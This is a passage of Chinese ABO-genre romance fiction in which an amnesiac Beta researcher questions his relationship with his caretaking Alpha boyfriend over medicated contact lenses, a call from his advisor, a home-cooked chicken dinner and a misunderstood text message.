但当这种“寡淡”持续发生在本该最亲密的人之间时,他就觉得似乎有些不对了。 醒来这些天, 最精心关照黎白榆的人, 正是他的男友严野客。 但黎白榆对自己的男朋友有关切, 有担心,却很难说是源于爱恋。 更多反而像是……回报? 黎白榆仔细揣度了一下自己对严野客的感情。 其实自醒来之后他就有这种感受——他感谢男人的照顾,记好了要怎样报答, 牵念Alpha曾经受伤的眼睛。 但这好像和黎白榆给找来问询的同门或同学们讲解,似乎也没有什么明显的殊异不同。 黎白榆之前觉得自己可能受到了失忆和情绪缺失的影响,或者他天生性格如此。 对任何人都没有热切的期待、长久的执念。 可现在他又发现。 自己甚至也没有更进一步的接触需求。 Alpha的易感期,和Omega的发.情期,原本是用来做什么的,黎白榆这个二十多岁的成年人不可能不清楚。 无论AO还是B,都是会有日常的生理需求,会渴望伴侣的牵手、怀抱和深拥。 ——哪怕Beta,也一样如此。 但黎白榆却没有。 这次严野客突然提前了易感期,一向沉稳克制的情绪比平日有了明显外露。 但黎白榆却没能被他牵带影响。 哪怕被自己的Alpha男友这么明显地疏离、拒绝、推开、厌嫌。 黎白榆依然没觉得有什么问题。 他甚至没有生出本该会有的难过、伤心。 Beta冷静地设想着,假如从现在的情况向前反推,自己情绪如此寡淡,对最亲密的人都没有执念。 ——那他失忆之前,是一直如此,还是截然相反? 如果是相同的话,或许情况还好说。但如果是相反的话…… 那就是他的执念太强,情绪太激烈了? 黎白榆又回想了一遍麻医生的话。 所以惹得自己情绪缺失的阴影,可能是求而不得……不被爱吗? 边想边翻过了四个橱柜,黎白榆终于找到了祛味喷雾。 他从成排的喷雾套装中拆出一瓶,整理好储物间,拿去客厅,用喷雾驱散了空气中弥漫的信息素。 用完半瓶喷雾之后,室内温度表的黄色指示灯终于暗了下去。 黎白榆继续留着敞开的窗户通风,又去了客卧。 虽然严野客今天回来基本不可能再进黎白榆的房间,但以防万一,Beta还是清理了下味道,喷完了剩下的半瓶。 想到Alpha清早的易感期反应格外强烈,却又如此地排斥碰触。 黎白榆连带对两人的情侣关系,都生出了一点动摇。 严野客真的是……心甘情愿地和自己在一起的吗? *** 收拾完客卧,忙碌了小半天的黎白榆也生出了几分疲惫。 他的右臂又有一些隐隐作痛,似乎是伤口还没完全恢复的缘故。 黎白榆低眸看了看自己的手。 他的右臂一直缠着雪白的医用绷带,上次复查时也曾经拆开,不过为了促进愈合,里面还粘着拟肤贴布,估计要等拆线时才能彻底去除所有防护。 而此刻,绷带的下侧,青年瘦白的腕骨上,还带着未能消褪的握痕。 想到当时Alpha冷凉的体温,黎白榆抬手在红痕上轻轻贴了贴。 也不知道易感期的男人意外地碰他这一下,严野客自己又会难受多久。 因为着实有些倦怠,黎白榆也没再去做别的体力活动。 他只去把存放严野客日抛盒的恒温箱检查了一下。 成排的隐形盒整整齐齐地存放在恒温箱里,严野客早上戴的就是今天的那副日抛。 但他应该是起床后刚戴上,就因为意外来临的易感期,又被黎白榆帮忙摘掉了。 此时恒温冰箱里的瞳片数量虽然还有不少,但使用顺序却很可能需要新的调整。 严野客每副医用瞳片的药物成分并不相同,而是根据他本人的状态和吸收情况,会有周期性的变更。 而由于今天,他的易感期突然提前,这些含药瞳片的佩戴顺序自然也需要改变。 黎白榆大致翻看了一遍,就发现有两种浓度偏低的瞳片数量不足。 他尝试将瞳片顺序重新排列了一下,但还是没配出特别合适的使用方案。 易感期的身体本来就容易波动起伏,要是再影响到Alpha的旧伤眼疾就不好了。 想了想,黎白榆就拿过手机,编辑了一段信息。 科研相关的记忆,黎白榆虽然恢复得很顺利,但毕竟涉及如此精细的眼部用药。 诸如具体的药物成分和配比数值,再加上严野客本人的个体指标,这些数据黎白榆还是想确认一下,会更稳妥。 正好实验室有个同为国人的师妹昨天刚问过他问题,黎白榆便给人发了条消息。 麻烦对方到实验室后,去自己的桌子那边翻查一下历史日记。 对这些数据,黎白榆之前应该都有详细的记录保存。 因为记不清具体是哪一天配的药,黎白榆就把定制瞳片的相关数据发给了师妹,让对方在某个日期区间中翻找一下。 消息发过去,师妹并没有立刻回复。 黎白榆也没着急,知道那边时间不早了,只说请对方这两天有空帮自己查一下就可以。 发完消息,黎白榆顺便搜了搜附近。 他想看看在粤城能不能联系一个相关领域的实验室,帮严野客把缺少的瞳片做出来。 不过,才搜了十几分钟,黎白榆还在粗略评估本地实验室条件的时候,他突然接到了一个越洋电话。 电话居然是关茴打来的。 “老师?” 黎白榆有些意外,以为对方突然打来,是有什么学术任务。 “您找我?” “白榆,你刚刚是不是给晓琳发消息了?” 关茴提起的,却是黎白榆刚发给师妹的信息。 她解释了一下,原来刚才下一届的师妹师弟们在开组会。晓琳师妹当时在投屏,黎白榆的消息框弹出来,正好被小导看到了。 “那个瞳片是严野客的吧?” 关茴似乎对这个数据很眼熟,直接认了出来。 黎白榆略感意外:“对。” 他没想到导师对自己男朋友的瞳片这么了解。 “你要这些信息做什么?他眼睛出了什么问题吗?”关茴问。 黎白榆斟酌了一下,没把易感期这么隐私的事随意外泄,只道。 “没什么问题,就是我想根据近来状态,帮他优化下使用顺序,所以需要看下具体成分。” “行,”关茴说,“你要的数据我这儿有,我报给你。” 她很快念了一长串详细的数值。 黎白榆边记边思索。 所以,是他给严野客做定制隐形的时候,关老师知道了他们的关系吗? 只是,等报完数据,关茴还说了一句。 “严野客的瞳片就麻烦你了,自从他换了你配制的新瞳片,情况就稳定多了。” 这下,黎白榆怎么听,都觉得这个口吻不太对。 怎么好像不是自己借用实验室设备给男朋友配药…… 反而像是导师在为了严野客而感谢自己? Beta沉默了几秒,试探着问道。 “他是您——” “是我外甥呀。”关茴笑道。 “……” 这个答案全然出乎了黎白榆的意料。 又仿佛,本就在情理之中。 原来—— 似乎是因为黎白榆沉默了太久,电话那边,关茴还问了一句。 “怎么了,白榆?” 黎白榆很轻地吞咽了一下,清瘦的喉结在白皙的颈间微微滑动。 “没什么,”他平稳着声线,轻声回答说,“是我记错了……还以为他是您的侄子。” “哎呀,都差不多嘛,”关茴笑道,“这种堂表亲戚的称呼本来就难记。” “反正瞳片的事是辛苦你了。” 老师还有关心:“对了,严野客把你招待得怎么样?这两天你们出去玩了吗?” “嗯……” 黎白榆又吞咽了一次,感觉喉咙微微有些干涩。 “挺好的,我在这里待得很开心。” 关茴又拉着他聊了几句,叮嘱黎白榆也看顾好自己的身体之后,才结束了通话。 电话挂断,室内重新安静下来。 黎白榆抬手,用指尖轻轻捏了捏自己的眼角。 他现在才清楚。 原来,Alpha是受了长辈的嘱托,才来照顾自己。 原来导师会对严野客放心,并不是因为两人的恋爱关系。 这件事其实也早有端倪,只不过黎白榆自己入了误区,没有朝正确的方向去联想。 严野客的瞳片被黎白榆帮忙配药,他又收到小姨的吩咐,自然不会把意外受伤还失了忆的Beta丢下不管。 他本人是极度严谨沉稳的性格,行事周全到不会有任何差错。 这样的男人,会如此周密地照顾黎白榆,其实再正常不过。 甚至可能都与所谓的感情无关。 更难像黎白榆误解的那样……以为两人真心相印,爱恋很深。 甚至听方才小导聊天时的语气,黎白榆都隐约觉得。 或许,老师可能根本都不知道两人在恋爱的事。 不然,应该也不会用“辛苦”、“招待”之类如此客气的词吧。 那这样说,严谨负责的Alpha,却大概率没有把他们两人的关系,告诉对自己疼爱有加的小姨—— 这会是什么原因? 黎白榆正专注想着,又见到手机里弹出了一条新消息。 消息还恰好是他正在想的人发来的。 【严野客A:中午记得把牛肉切薄片(窄于1cm),和冷藏室的饭团一起,微波炉[热饭]模式加热五分钟再吃。】 黎白榆怔了怔,微垂的长睫被落地窗外洒入的日光,映照出愈发灿亮的薄金色。 Alpha易感期的异样尚未平复,独自前去医院做检查,却还没忘记提醒他吃午餐。 严野客的这般周全,更让人觉得他面寒心暖,责任心十足。 男人的性格使然,受了嘱托就一定会负责到底,想来也不会随意掺杂个人喜恶。 黎白榆慢慢揉了揉鼻尖,心想。 就算没有自己帮忙定制瞳片的事,譬如关茴老师的其他学生来到粤城,严学长也一定会好生招待吧。 再加上自己之前在储物间发现精神类药物后的猜测,黎白榆越想越觉得,两人之前的感情可能根本没有自己误以为的那么深厚。 或许就连他们的情侣关系,都另有隐情。 可是严野客这样的Alpha……会非自愿地开始一段恋爱关系吗? 问题又回到了黎白榆曾经几度回想、却始终没有进展的那件事上—— 他和严野客为什么会在一起? 黎白榆想起自己这么询问Alpha时,对方曾看着他,说。 希望这件事由黎白榆自己回想起来。 当时黎白榆并没有察觉——他对与人当面相处、察言观色方面,与自身的其他能力相比,的确有所欠缺。 但现在再回想起来,却让黎白榆总感觉。 那时严野客漠淡的神情,薄凉的声线。 或许隐藏其间……正有一种责备的意味。 就像是。 明明是黎白榆添了麻烦,他自己却忘干净了。 Beta慢慢垂头,默默把脸低下去,用双手环抱住了自己的额角。 他把自己埋进了膝盖里,低而轻长地呼了口气。 天啊。 不会吧…… 难道真的是自己失忆前感情过激、执念太深…… 所以才强行开始了这段关系? 第 17 章 017 黎白榆为那盒偏执症的治疗药物, 和很可能偏执的自己,淡淡地发愁了一上午,到底还是听话地去把午餐给吃了。 一个是因为他的胃确实有些脆弱, 没必要这时候再闹出什么问题,给负责任的Alpha添堵。 再一个则是……那个卤牛肉确实很好吃。 黎白榆出院后这些天,他们吃的很多顿饭都是严野客自己做的,而不是从外面买来的熟食或半成品。 这样亲手做饭其实会比较耗费时间和精力, 但Alpha坚执如此, 说现在休假, 本来也不急。 黎白榆之前还很偶然地想过,对方这样举止, 会不会也和其性格有关。 比如习惯有着什么比较强势的掌控欲。 毕竟, 严野客是个Alpha。 还是个年轻凌厉、信息素浓度非常高的Alpha。 但现在黎白榆才明白, 严野客大概率是听小姨关茴讲过,自己这个学生的肠胃太脆皮,吃东西很容易消化不良,才专程为他选菜做饭。 免得将Beta照看出了什么问题。 这样一来,为自己之前对严野客的揣测, 黎白榆就更心有愧疚了。 他吃着咸鲜味浓的牛肉, 和米香十足的饭团, 忍不住又叹了口气。 自己什么时候能做出这么好吃的糊糊,送给Alpha以表达感谢和歉意呢? 严野客的检查似乎耗时比较久, 等到他人回来时, 都已经临近傍晚。 只是Alpha的易感期症状, 似乎还没有彻底舒缓。严野客到家,黎白榆听到了声音提前去开门,就见走进来望见他的Alpha, 颈侧青筋又明显地突跳了几下。 “还是会不舒服吗?” 黎白榆问。 仍然带着遮光墨镜的男人没有立刻回答,而是沉默地侧身,偏头将外套脱下。 直到拖鞋都换好之后,Alpha才终于喑声开口。 “还好。” 黎白榆观察了他一下,确认Alpha没有更多不适的异状,才接着问道。 “检查的情况怎么样?” 两人走去客厅,始终没摘去眼镜的严野客淡声道。 “过几天会出结果。” 黎白榆的步伐比对方稍微落后了一点,他还稍稍歪头,去看了一下Alpha颈后的腺体。 这样直白地去看,其实稍微有一点冒犯,所以黎白榆之前并没有这般做过。 但他还记着严野客清早打抑制剂时直接注射入腺体的事,心中仍有些担虑。 腺体的位置在后颈第七颈椎棘突的下侧,严野客今天并没有穿高领,不过从颈后微微露出的一点皮肤来看,黎白榆却发现。 从医院回来的Alpha已经贴上了隔离贴。 他自然也没能看到详情。 黎白榆想了想,还是决定直接问。 “你今天注射抑制剂,是扎进腺体里了吗?”他又抬头去看了看严野客的表情,“怎么没选择皮下注射?” Alpha走向沙发的脚步几不可察地微微一顿,似乎并没有想到黎白榆会这么问。 停了片刻,直到在沙发上坐下,严野客才开口。 “早上不舒服。” 男人的嗓音还有一点微哑,不知道是易感期的冲击未褪,还是由于白日奔波的疲惫。 他还缓缓抬手,捏了捏自己冷峻挺立的鼻梁。 “想尽快克制,停止失控。” 黎白榆倒是很能理解对方的回答。像严野客这种Alpha,肯定很不喜欢失去控制的感觉。 他不容易受激素影响,大概也不愿意被激素所操纵。 “这次是意外提前,”黎白榆道,“下次有征兆的话,还是提前一些打吧,更稳妥一点。” “直接往腺体注射,虽然起效会更快,不过风险还是会有点大。” 他又去帮严野客倒了杯温水,安抚了几句,也没有再多问。 虽然还有一肚子的感情和情侣关系的疑问,但黎白榆只想着这种事等严野客易感期结束了再细聊,也不急。 黄昏短暂,天边已经进入了日落之后的蓝调时刻。 劳累了一个白天,黎白榆刚想问对方要不要回房休息下,却见严野客说。 “我去做鸡。” 说着,男人还直接起身,朝庭院走去。 “……?”黎白榆怔了下,“你晚上想吃这个吗?” 他记得对方说过,易感期不喜欢吃东西。 本以为是白天检查时医生叮嘱了什么,才让Alpha改变了主意。 但严野客却道。 “之前说了,庆祝你复查顺利。” 严野客把走地鸡带回来的时候的确说过,等黎白榆复查完斩了吃。 只是因为黎白榆昨天喝补剂,又撞上了突如其来的易感期,才几度推迟了这一餐。 黎白榆听了这回答,更加惊诧,匆忙想拦:“今天就不要做了……!庆祝餐也不差这几天。” 他不想让严野客在这种时候还要忙。 “等你检查结果顺利出来,再一起庆祝就好了。” 已经走到门边的严野客覆握住门锁,却垂了垂眼,说。 “但我要分散下精力。” “……?” 黎白榆没太听懂:“分散精力?” “越是易感期,我的精神会越旺盛。”Alpha淡漠道。 男人寒峻深邃的眉廓冷淡,神情无澜。除了一点微哑的尾音,却是很难看出他正处于强行压抑的易感期。 “各种工作也会做得更多。因为不分散精力,会不舒服。” 严野客本来就是个范例般典型的高精力工作狂。 “而且我易感期睡眠少,效率高,工作量也会相应地需要增加到更强。” “……?” 黎白榆有一点想抓头发。 还能这样? 眼前的男人属实和寻常Alpha不一样。 不管Omega还是Alpha,情热期总会虚弱、涣散、心神动摇,专注力难以集中。 没想到还有像严野客这样,直接当成双倍经验加成的奖励时间来上工的。 “那也可以做点别的?” 黎白榆尝试提议。 真的要在这时候斩鸡,好像有些太辛苦了。 严野客却说:“体力劳动效果更佳。” 他还淡声道。 “而且我想喝点汤。” Alpha都这样讲了,黎白榆也不好再多说什么,就陪严野客一起去了庭院。 如男人自己所说,易感期的确没有影响他的工作能力。 至少黎白榆看见,严野客抓鸡的过程属实非常地迅速利落。 从栅栏中捉了一只走地鸡回房,两人进了厨厅,黎白榆原本还想帮忙。 做鸡需要备菜处理之类的,应该还有挺多步骤。 但还单手捏着一双鸡翅膀的Alpha却拒绝了他。 这只走地鸡确实养得很好,在严野客的手上也还很有活力,尽管身子动不了,可锐利的尖嘴还在一下下地再向前空啄,两只长长的爪子尖也相当锋利。 处理活鸡的过程,其实远比剖解虾蟹要更有冲击力。 不管斩杀、除毛,还是放血,都不是平日少有下厨的人能轻易目睹承受的。 “没什么需要帮忙的。” Alpha的神色和声线都没什么温度。 “我自己来。” 黎白榆记着对方到底还是在易感期,猜想这时候的严主厨八成也不想见别人在旁边碍事,看了会更心烦。 于是他就老老实实地答应了,很配合地离开了厨厅。 恰好白天联系过的几个实验室有了回音,黎白榆就先去和对方细谈了一下,准备至少把严野客这个月的医用瞳片调整好。 详谈暂告一段落时,青年恰好也听到了Alpha在叫他:“黎白榆。” “过来。” “来了!” 他放下手机,朝厨厅走过去,这时,室内飘散开来的香气已经非常浓郁了。 黎白榆忍不住吸了吸皙秀的鼻尖。 好香。 厨厅里,严野客站在汤盅旁,刚舀了一匙鸡汤。 见人走进来,Alpha略一偏头,向他示意。 “尝一下咸淡。” “好。” 黎白榆伸手,正要把汤匙接过来,严野客却沉下腕骨,避开了他的动作。 男人没把汤匙给他,直接抬手送到了他的唇边。 “吹过了。” 黎白榆微怔,下意识地抬眸看他。 不过这点小事,也没什么好在意的,Beta便就着严野客的手,把舀出来的鸡汤喝了。 严野客的手很稳,站得和黎白榆也很近。 还戴着遮光眼镜的男人比平日更为神情难测,看不清眉目面色。 有墨色的镜片相隔,视线的真实温度也没有映燃在被盯凝的Beta身上。 黎白榆在专心品尝,但汤匙才一入口,他就明显地顿了一下。 “淡吗?” 严野客低声问。 黎白榆的动作有点慢缓,似乎花了点时间才把鸡汤喝下去。 他还抿了抿唇,片刻后才开口,摇头。 “不会,刚刚好。” 青年抬手用手背擦了下唇,他的唇软,被白皙的手背蹭按出一点柔软的陷痕。 他也没抬眼,清冽的蓝眼睛被软金色的长睫遮覆了大半,有一点像在避开严野客的视线,只低着头问。 “我现在端过去吗?” 严野客垂眸看他,长指点了下旁边。 “拿那个。” 汤盅很烫,但旁边的餐筷很好拿。 Beta胡乱点点头,两只手端拿起碗筷就径直走了。 出了厨厅,黎白榆的嘴角下撇,这时才收不住地把掩藏半晌的真实情绪表露了出来。 完了。 完了完了完了……怎么会这么好喝? 怎么会有这么鲜的汤,这么靓的鸡?! 黎白榆心底难以抑制地涌出了一股的绝望。 他怀疑自己已经不用去问对方,因为现在就摸到了真相。 ——他不会就是因为Alpha做鸡太靓,才强迫了对方和自己在一起的吧……! 黎白榆上午还在想自己对人的情绪太过寡淡,总是没有起伏和期待。 现在却发觉,自己好像已经找到了难以消退的执念。 他甚至有点怀疑,自己上午翻到的那个药盒是不是真的还没被打开吃过。 尝过了这么鲜的鸡,他居然还能不吃药就能忘掉吗! 当然,为了沙姜鸡吃.精神类药物的话只是个有点冷的玩笑。但黎白榆对今天的晚餐,却是实打实的真心喜欢。 严野客傍晚只斩了一只鸡,却呈上了两种做法—— 新鲜的鸡肉薄薄片好,和橙黄嫩色的虫草花一起,铺在已经整齐垫好的一层鲜翠胜瓜片上,放入蒸笼,做桑拿鸡。 其余剁好的带肉鸡骨、关节一类,则和五指毛桃、党参、白百合等汤料一起,炖了一盅老火靓汤。 用蒸汽蒸熟的桑拿鸡分外鲜美,吃不出一丁点鸡肉常见的柴,送入口中甚至还带一些鲜嫩的脆感。 虫草花为鲜斩的鸡肉去了腥,又和胜瓜片一起吸浸了嫩鸡的鲜汁,吃起来完全不输刚刚斩切的鲜鸡本身。 至于那盅老火鸡汤…… 黎白榆已经完全不想评价了。 他怕自己如果不克制一点,强行分散精力的话,就很可能会和易感期的Alpha一样。 太想把整颗心都投送给靓汤了QAQ 整顿晚餐,黎白榆的话都非常少,一直在埋头吃饭,甚至没怎么抬头去看餐桌对面。 桌对面的严野客也盛了碗鸡汤。 他不吃食物,汤水倒还可以浅尝一点。 而在Alpha开口,问之后另一只走地鸡是想吃白切鸡还是沙姜鸡的时候,黎白榆的动作又明显地顿了一下。 他的指尖有很轻的一下微颤,勺中鸡汤都洒出了一点,不小心滴在了自己的腿上。 好在汤已经不算烫,黎白榆也没在意,心不在焉地擦了擦,又闷头吃了好一会儿,才很小声地回答。 “听你的吧。” 严野客看他一眼:“那做白切鸡,再加一份沙姜蘸汁。” 黎白榆垂着脸,只管点头。 吃完饭,黎白榆又闷着头去收拾了餐桌,把碗筷放进洗碗机。 期间,他还不时拿起手机,发了几条消息。 还是严野客提醒他,Beta才想起自己腿上滴到了鸡汤。 收拾完,他就先去洗了个澡。 这次黎白榆进浴室,严野客罕见地没拿电脑,也没有戴耳机。 独自坐在客厅里的Alpha抬手,慢缓地揉了下额角。 此时室内已经换成了夜灯,昏淡的光线中,男人廓线俊冷的面容半明半昧,愈发晦暗不清。 严野客今天的情况不好,如果再像往常一样戴耳机听人沐浴,他担心自己会遏抑不住。 真的会直接去把那单薄无用的浴室门给踹了。 恰在此时,桌上倏然有薄光亮起。 “嗡。” 很轻的提示音传来,Alpha抬眼,望见了一台屏幕亮起的手机。 那不是严野客的,而是刚刚收拾餐桌的Beta忘在客厅里的。 “嗡。” 又是一声。 黎白榆的手机平时接收消息都是静音弹窗,此刻却突然有了震动。 这只可能是单独设置的。 沙发上的高大身廓起身,走到桌旁。 黎白榆的手机有锁屏,但并没有设置强隐私,所以此时,跳出的消息提示也没有被隐藏,而是直接显示出了内容。 恰逢第三声震动响起。 薄凉的手机白光中,面无表情的Alpha垂眸,将带有特殊震动提示的新消息一览无遗。 【蔺Lin:?】 【蔺Lin:什么叫“终于想起我心中真正的白月光了”?】 【蔺Lin:你说的是谁?】 第 18 章 018 黎白榆洗完澡, 就发现自己忘了拿干发巾。 他现在的头发偏长,已经垂到了肩后,即使洗完立刻去用吹风机, 也需要先把发尖的水滴擦干。 在浴室内找了一圈,黎白榆确定干发巾的确不在这里,就简单裹了下浴巾,开门出去拿。 一开门, 他却被吓了一跳。 “你……?!” 明亮安静的卧室中, 不知何时居然多出了一个身影。 严野客毫无征兆地进来了。 还就坐在他清晨靠过的沙发上。 黎白榆怔了怔:“你怎么坐在这么亮的地方?” 他问的却不是男人为何过来, 而是对方怎么没避避光。 严野客似乎也没想到他最先在意问出口的居然是这个,沉默了一瞬, 才道。 “有墨镜。” 说着, Alpha又抬手, 将掌心里握着的东西露了出来。 “你手机,忘在客厅了。” 黎白榆这时才想起自己没拿手机:“啊。” 他走过去,伸手把东西接过来:“谢谢。” 青年完全没察觉为什么对方没把手机放在面前茶几上,而是直接抬手递给他。 他就这样只裹着雪白浴巾,如人所愿地走近了。 黎白榆还习惯性地分心给了严野客的眼睛, 发现此时恰是个颇为少见的视角——因为两人一站一坐, 比Alpha矮了小半头的黎白榆第一次从这个俯视的角度看严野客。 他其实并没有直接看到Alpha的眼眸, 虽然遮光眼镜不可能贴着眼睛,从上方一定能看到镜片之后。 但严野客的眉骨高挺, 人又坐在顶灯之下。眉廓投射的阴影过分鲜明, 将他那双殊异的眼瞳都遮覆在了一片沉沉的暗影之下。 更显得男人眉目幽冷。 这是天生自带墨镜啊。 黎白榆心想。 他想得太专注, 并没察觉随着自己的靠近,Alpha的气息都更沉喑了一分。 青年的视角,也看不到此时严野客颈侧微微鼓胀的青筋, 蜿蜒而起,色调冷得有多么分明。 黎白榆只在伸手接过手机时,才发觉自己的手臂和上身都还是光.裸的。 他出来得太匆急,单只在腰腹间随意裹了下浴巾。 这样衣衫不整立于人前似乎着实有点没礼貌,黎白榆匆匆将干发巾拿好。 “我先去把头发弄干。” Beta转身重回浴室,自然也暴露出了自己整个的背脊。 他人清瘦却非骨节嶙峋,脊背的骨骼舒展纤细,薄薄肩胛如蝶展翼,晶莹的水珠顺着雪白的肌理滑淌向下,在顶灯之下更透出了如薄瓷如冷釉的清润之感。 如霜洁雪色。 太适合落印上独属的痕迹。 尤其是那线条骤然收窄的腰际,更勾惹人抬掌去握。 要深掐入虎口掌心里,才可掳获丁点安心。 黎白榆没顾得上和人多聊,就进了浴室,他草草擦了下滴水,便换上睡衣去吹头发。 吹头发时,他才发现,自己还顺手把刚接过的手机给带进来了。 青年习惯性地扫了眼锁屏提示,就瞥见了蔺空山发来的新消息。 反正吹风机已经被支架固定,两只手都空闲着,黎白榆还顺便回复了几条信息。 吹完头发出来,已经又过去了十多分钟。 不过黎白榆意外发现,Alpha居然还在。 严野客站得离浴室门更近,已经走到了黎白榆的床边。 他身前的床边柜上放着刚拿来的药,是黎白榆每晚饭后半小时要吃的。 药盒旁边有水杯,男人的手里还拿着一杯牛奶。 “把药吃了。” Alpha面色无波,淡然周全一如他连日来的照看。 “加杯牛奶,一起补钙。” 复查的确显示黎白榆有些缺钙,麻医生也说了他平时可以吃点钙片。 “好。” 黎白榆应声走过去。 他已经换上了睡衣,大半肌肤都被布料相隔。不过走得离严野客近了,黎白榆还是感觉到了一点沁骨的凉意。 是从易感期的Alpha身上传来的。 在这略显潮热的夏夜,这种冰感其实并不吓人,反而会很舒服。 更不要说,黎白榆自己原本就贪凉。 好想靠上去贴一下。 Beta默默在心里想。 感觉会是个好心仪、很大只的冰丝抱枕。 但黎白榆又不能真的去碰对方,因为他知道Alpha很不喜欢这样。 所以黎白榆的动作也很小心,从严野客手中接过牛奶杯的时候,都很谨慎地没有碰触到男人的手指。 药都已经被按剂量取出放好了,让人拿起来就可以直接服用。 黎白榆端水杯喝药的时候,就站在旁边的严野客也没有离开。 甚至没有退后半步,将两人靠近了的距离拉远一点。 事实上Alpha非但不可能离远,还在透过墨色镜片的遮挡,肆无忌惮地眈眈盯视着眼前人。 严野客不是不想被碰到,相反,他其实非常想伸手。 捏握住黎白榆的腰侧……或者下颌。 强行把人拉过来。 如果不是现在易感期,无法百分之百地精准控制自己的力度。 严野客早在Beta围着浴巾出来的那一秒就会这么做了。 易感期之前几天的碰触就已经让严野客察觉了不对劲,黎白榆对他的影响太过显著,这两天他都在尽量压抑。 不是不喜欢被影响的感觉——虽然严野客在Alpha中的确另类,信息素浓度出奇地高,偏又厌恶被激素所操纵。 但被黎白榆影响的感觉却不一样。 很愉悦。 严野客不想再度弄伤了Beta,所以才没有伸手去碰。只垂眸看着人在自己面前端水,低头,将所有药喝下去。 又看着Beta放下水杯,将要去拿那杯特意准备的睡前牛奶。 “诶……?” 黎白榆刚一伸手,勾在指间的发圈却不小心掉了出去。 他忙伸手去接,却还是晚了一步。 发圈刚好掉进了乳白的牛奶杯里。 “不好意思……” 黎白榆下意识地道歉,想把发圈捞出来,不过身旁淡然惯了的男人已经伸手,把牛奶杯拿了过去。 Alpha替他捞起了发圈,还替他去将奶渍冲洗了干净,杯里的牛奶自然也不能喝了。 “我去换一杯。” “我自己去就——” 黎白榆这样说着,面前的Alpha却并没有商量的意思。 而恰在此时,黎白榆放在一旁的手机还又轻轻地嗡震了一下。 “你的手机,洗澡时收到了消息。” 严野客忽然开口。 在牛奶杯的这点意外插曲之后,男人突然提起了刚才的事。 没有继续缄默地等下去。 “有人问你,想起的真正白月光是谁。” Alpha表面无事,直接挑明了来问。 他并不是受了刺激,再等耐不及。相反,严野客此时非常冷静。 他只是理性地认为。 这么问,会潜移默化地让黎白榆觉得,自己的手机并没被监控。 “……白月光?” 而黎白榆被问得怔了一下,清冽的神色略有茫然。 接着,他就解锁了手机,把刚才的聊天框调了出来,将屏幕亮给了严野客看。 “是这个吗?” Beta的态度,却出奇地纯粹,坦然。 屏幕上,两人的聊天记录一览无余。 【蔺Lin:你说的是谁?】 【黎Li:是桑拿鸡。】 【黎Li:和五指毛桃靓鸡汤!】 【蔺Lin:……?】 【蔺Lin:所以,不是人吗】 【黎Li:白月光就非得是人吗?】 【黎Li:[撇嘴]】 【黎Li:大半夜想它想得要流眼泪,还不算吗[可怜]?】 最下面一条,正是刚刚让手机轻震的最新未读。 【蔺Lin:[戳脸]从嘴角流下来的眼泪,是吧?】 黎白榆拿着手机,好让Alpha能把对话记录看完,坦荡得没有一点遮掩。 他还诚心地夸赞说。 “今晚你做的鸡,真的很好吃。” 好吃到黎白榆才刚刚结束这餐,就又控制不住地开始了想念。 但他又怕易感期未过的严野客这几天真的再为自己去忙碌操劳,所以才没和Alpha本人讲。 黎白榆不由暗自反省。 他觉得自己真的有点像渣男。 一个渣Beta。 ——对男朋友的记忆感情找不回,却偏偏这么馋严野客的身子。 嗯,馋Alpha身子的意思是指,既喜欢凉冰冰,又喜欢他的技术。 这种话也很难对严野客讲,怕本来就多了麻烦的他会更不悦。 想着,黎白榆悄悄观察了一下严野客的神色。 男人依然是那张亘古难化的冰山脸。 但冷脸之下,严野客的确心有不虞。 哪怕知晓了白月光的真正答案不是人,严野客依然没觉得好多少。 因为黎白榆居然会把这种事跟别人说。 包括Beta聊天时的语气,都不像是平日一贯的内向沉敛。 察觉青年的视线,严野客状若无意地开口。 “你给他设了特别提醒?” 虽然聊天对象的名字只有一个“蔺”字,但严野客知道他是谁。 蔺空山,粤城人,25岁。目前在申城上班,黎白榆的朋友,也是黎白榆唯一会主动聊这种私事的人。 还是个Alpha。 虽然蔺空山常年待在国内,但他们两人的关系一直很亲近,让严野客不可能注意不到他。 就连两人的微信id,都取得如此碍眼地相似。 当初得知蔺空山突然和另一个年轻Alpha男人结婚时,严野客着实松了口气。 但是才没两天,严野客又得知。 黎白榆有男朋友了。 …… 啧。这种事,哪怕现在回想起来,依然会让严野客清晰察觉自己的情绪跌宕波澜。 而在这时,黎白榆还回答说:“对,是我失忆前设置的。” 严野客:“……” 这个答案似乎让他的冰块脸更沉寒了。 不过没等Beta察觉,严野客已经再度开口,状若漫不经心地问道。 “那是什么时候给我设的?” 这些天两人多是当面交谈,严野客其实没听到自己的消息响起过震动提醒。 但他问了就是想先发制人。 把疑问变成已经有答案的既定事实,这样就算没给男朋友单独设置,之后也会补上。 不过出乎他所想,Beta的回答却是。 “出院后设置的。” 严野客的脸色这才好了一点。 “嗯。” 但其实黎白榆多看了他一眼,还在想。 Alpha突然这么问,是不是想让他把这种设置取消。 不过想了想,黎白榆还是先解释道。 “发消息的人,是我很小就认识的好友。” 说是哥哥也没问题,蔺空山比他大两岁,虽然失忆后丢失了许多相处旧事,但黎白榆还是天然地对他有一种亲近感。 总觉得自己受了对方很多照顾。 只是失忆的事,黎白榆也暂时还没有和对方细说。因为蔺空山已经工作,还刚去到一家新公司,平日一直都很忙。 他最近好像还去新加坡度蜜月了,目前也尚未回国。 “我能回想起空山哥,是因为看到了他之前在朋友圈发的,我们两个人的照片。” 那是一次黎白榆假期回国,两人一起在粤城休息用餐的日常记录。 黎白榆并没有见过自己和其他人的单独合影,大概是自己一直都很少和人主动拍照。 他还想起自己之前就问过。 他和严野客两个人也没有合照。 从出院后的相处来看,两个人都不是日常爱拍照的性格。 谈恋爱三个月没照片,应该也正常。 只是因为白天的事,黎白榆又忍不住会想。 也可能两人的情侣关系并非自愿,所以才没有留下照片…… 结果这时,他却听严野客开口。 “我们什么时候能有?” Alpha问得轻描淡写,似乎只是一件格外随意的小事。 黎白榆听得微怔,下意识道:“随时都可以呀。” 确实也该拍一张,他反应过来。 也好让关茴老师放心。 “现在要拍吗?”黎白榆问。 他问完又想起来,Alpha还处在易感期。 “啊……要不还是等等先过了易感期?” 现在或许会显得状态不算好,有的Alpha会介意。 “或者等白天亮一点,我们出门时再拍?” Alpha却说:“不用。” 严野客直接拿出了手机,将照相机掉转到了前置摄像。 黎白榆见状,也依言走到了对方的镜头中。 因为这样合照是自拍,需要两个人离得近一点,才能把他们都拍进来。 黎白榆还在想怎么能让Alpha避免不适,对方却直接从身后贴了过来。 咔嚓。 屏幕一下轻闪,镜头将此刻的两人共同定格。 照片里,黎白榆站得靠前,抬眸带点微怔地看着镜头,被身后抬手的男人贴得很近。 